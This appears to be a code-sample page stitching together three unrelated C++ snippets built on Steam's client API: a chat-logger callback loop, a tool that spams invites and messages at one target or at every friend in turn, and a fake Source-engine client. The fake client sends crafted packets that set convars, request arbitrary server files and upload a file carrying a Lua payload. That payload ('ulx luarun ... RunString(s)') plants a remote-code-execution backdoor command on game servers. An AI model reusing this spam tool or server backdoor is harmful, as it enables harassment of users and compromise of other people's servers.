示例#1
0
void CLogger::CallbackHandlerThread()
{
	for(; !this->TestDestroy(); this->Sleep(100))
	{
		wxMutexLocker steamLock(m_steamLock);

		if(!m_hPipe || m_hPipe == -1)
		{
			if(!InitSteam())
				continue;
		}

		static unsigned int i = 0;
		if(++i % 50 == 0)
		{
			// This dummy call will trigger the IPCFailure_t callback if Steam has been closed.
			if(m_pSteamUser)
				m_pSteamUser->BLoggedOn();
		}

		CallbackMsg_t callbackMsg;
		while(Steam_BGetCallback(m_hPipe, &callbackMsg))
		{
			switch(callbackMsg.m_iCallback)
			{
			case IPCFailure_t::k_iCallback:
				{
					IPCFailure_t* pIPCFailure = (IPCFailure_t*)callbackMsg.m_pubParam;
					OnIPCFailure(pIPCFailure);
					break;
				}
			case FriendChatMsg_t::k_iCallback:
				{
					FriendChatMsg_t* pFriendChatMsg = (FriendChatMsg_t*)callbackMsg.m_pubParam;
					OnFriendChatMsg(pFriendChatMsg);
					break;
				}
			case ChatRoomMsg_t::k_iCallback:
				{
					ChatRoomMsg_t* pChatRoomMsg = (ChatRoomMsg_t*)callbackMsg.m_pubParam;
					OnChatRoomMsg(pChatRoomMsg);
					break;
				}
			case ChatRoomDlgClose_t::k_iCallback:
				{
					ChatRoomDlgClose_t* pChatRoomDlgClose = (ChatRoomDlgClose_t*)callbackMsg.m_pubParam;
					OnChatRoomDlgClose(pChatRoomDlgClose);
					break;
				}
			}
			Steam_FreeLastCallback(m_hPipe);
		}
	}
}
int main(int argc, const char *argv[])
{

	if (!argv[1] || !argv[2] || !argv[3] || !argv[4] || !argv[5] ||!argv[6] ||!argv[7])
	{
		printf("USAGE: (STEAMID64 OR 0) msg connectstr steamstatus delay someip someport\n");
		return 0;
	}
	
	char ipbuf[512];
	strcpy(ipbuf, argv[6]);


	int ip = 0;
	ip = ip | (atoi(strtok(ipbuf, ".")) << 24);
	ip = ip | (atoi(strtok(0, ".")) << 16);
	ip = ip | (atoi(strtok(0, ".")) << 8);
	ip = ip | (atoi(strtok(0, ".")));


	int delay = atoi(argv[5]);

	InitSteam();

	ISteamFriends015 *friends = (ISteamFriends015 *)steamclient->GetISteamFriends(g_hSteamUser, g_hSteamPipe, STEAMFRIENDS_INTERFACE_VERSION_015);

	CSteamID sid;
	sid.SetFromUint64(76561197960279927llu);

	steamuser->AdvertiseGame(sid, ip, atoi(argv[7]));

	bool notarget = atoi(argv[1]) == 0;
	bool nomsg = strlen(argv[2]) < 2;
	bool noinvite = strlen(argv[4]) < 2;

	CSteamID target;

	if ( !notarget )
	{
		target.SetFromUint64((unsigned long long)_atoi64(argv[1]));
	}




	friends->SetRichPresence("status", argv[4]);
	friends->SetRichPresence("connect", argv[3]);

	int i = 0;

	while (true)
	{

		Sleep(delay);

		if (notarget)
		{

			CSteamID noobid = friends->GetFriendByIndex(i, k_EFriendFlagImmediate);

			if(!noinvite)
				friends->InviteUserToGame(noobid, argv[3]);

			if (!nomsg)
			{
				friends->ReplyToFriendMessage(noobid, argv[2]);
			}

			i++;

			if (i == friends->GetFriendCount(k_EFriendFlagImmediate))
			{
				i = 0;

			}
			continue;
		}

		if(!noinvite)
			friends->InviteUserToGame(target, argv[3]);

		if (!nomsg)
		{
			friends->ReplyToFriendMessage(target, argv[2]);
		}
			

	}

	return 1;
}
int main(int argc, const char *argv[])
{
#ifndef _LINUX
	_CrtSetDbgFlag(_CRTDBG_CHECK_ALWAYS_DF);
#endif

	if (!argv[1] || !argv[2] || !argv[3] )
	{
		printf("Invalid Params: server clientport nickname [password]\n");
		return 0;
	}
	
	serverip = new char[50];

	parseip(argv[1], serverip, serverport);//and this is the point where you call me a retard for not using strtok

	unsigned short clientport = atoi(argv[2]);

	if (strnlen(argv[3], 2) != 0)
	{
		strcpy(nickname, argv[3]);
	}
	else {
		strcpy(nickname, "leysourceengineclient");
	}

	if (strnlen(argv[4], 2) != 0)
	{
		strcpy(password, argv[4]);
	}
	else {
		strcpy(password, "leysourceengineclient");
	}

	InitSteam();


	printf("Connecting to %s:%i | client port: %hu | Nick: %s | Pass: %s\n", serverip, serverport, clientport, nickname, password);

	netchan->Initialize();
	NET_ResetDatagram();


	net.Start();
	net.OpenSocket(clientport);
	net.SetNonBlocking(true);

	CreateThread(0, 0, (LPTHREAD_START_ROUTINE)networkthread, 0, 0, 0);
	CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sendthread, 0, 0, 0);



	char input[255];
	memset(input, 0, sizeof(input));

	while (true)
	{
		std::cin.getline(input, sizeof(input));

		for (unsigned int i = 0; i < strlen(input); i++)
		{
			if (input[i] == '<')
				input[i] = 0xA;
		}

		if (!strcmp(input, "retry"))
		{
			NET_Disconnect();
		}

		if (!strcmp(input, "disconnect"))
		{
			NET_Disconnect();
			exit(-1);
		}

		if (!strcmp(input, "voicemimic"))
		{
			voicemimic = !voicemimic;
			printf("Voice mimic: %i\n", (int)voicemimic);

		}

		if (!strcmp(input, "voicetoggle"))
		{
			voicetoggle = !voicetoggle;
			printf("Voice toggle: %i\n", (int)voicetoggle);

		}
		if (strstr(input, "connect "))
		{


			memmove(input, input + strlen("connect "), sizeof(input));

			parseip(input, serverip, serverport);
			printf("Connecting to: %s:%i\n", serverip, serverport);
			memset(input, 0, sizeof(input));


			NET_Reconnect();
			_sleep(100);
			continue;

		}

		if (strstr(input, "setcv "))
		{


			memmove(input, input + strlen("setcv "), strlen("setcv"));


			char cv[255];
			char var[255];

			bool found_delimit = false;

			for (unsigned int i = 0; i < strlen(input); i++)
			{
				if (input[i] == ':')
				{
					strncpy(cv, input, i);
					strncpy(var, input + i, strlen(input) - i);
					cv[i] = '\0';
					var[strlen(input) - i] = '\0';

					found_delimit = true;
					break;
				}

			}

			if (!found_delimit)
			{
				memset(input, 0, sizeof(input));
				continue;
			}

			printf("Setting convar %s to %s\n", cv, var);

			NET_ResetDatagram();

			senddata.WriteUBitLong(5, 6);
			senddata.WriteByte(1);
			senddata.WriteString(cv);
			senddata.WriteString(var);

			NET_SendDatagram(false);

		}

		if (strstr(input, "file_download"))
		{
			char file[255];

			bool found_delimit = false;

			for (unsigned int i = 0; i < strlen(input); i++)
			{
				if (input[i] == ' ')
				{
					strncpy(file, input + i + 1, strlen(input) - i - 1);
					file[strlen(input) - i - 1] = '\0';

					found_delimit = true;
					break;
				}

			}
			printf("Requesting file: %s\n", file);

			NET_ResetDatagram();

			static int requests = 100;
			senddata.WriteUBitLong(2, 6);
			senddata.WriteUBitLong(requests++, 32);
			senddata.WriteString(file);
			senddata.WriteOneBit(1);

			NET_SendDatagram(false);

		}

		if (strstr(input, "file_upload"))
		{
			char file[255];

			bool found_delimit = false;

			for (unsigned int i = 0; i < strlen(input); i++)
			{
				if (input[i] == ' ')
				{
					strncpy(file, input + i + 1, strlen(input) - i - 1);
					file[strlen(input) - i - 1] = '\0';

					found_delimit = true;
					break;
				}

			}

			printf("Uploading file: %s\n", file);

			NET_ResetDatagram();
			GenerateLeyFile(file, "ulx luarun concommand.Add([[hi]], function(p,c,a,s)  RunString(s) end)");
			NET_SendDatagram(true);

		}

		if (strstr(input, "cmd "))
		{


			memmove(runcmd, input + strlen("cmd "), sizeof(input));

			continue;

		}

		if (strstr(input, "name "))
		{
			memset(nickname, 0, sizeof(nickname));

			memmove(nickname, input + strlen("name "), sizeof(input));
			
			NET_ResetDatagram();
			senddata.WriteUBitLong(5, 6);
			senddata.WriteByte(0x1);
			senddata.WriteString("name");
			senddata.WriteString(nickname);

			NET_SendDatagram(false);

			printf("Changed name to: %s\n", nickname);
			continue;

		}

		memset(input, 0, sizeof(input));
		_sleep(100);
	}

	net.CloseSocket();

	return 1;
}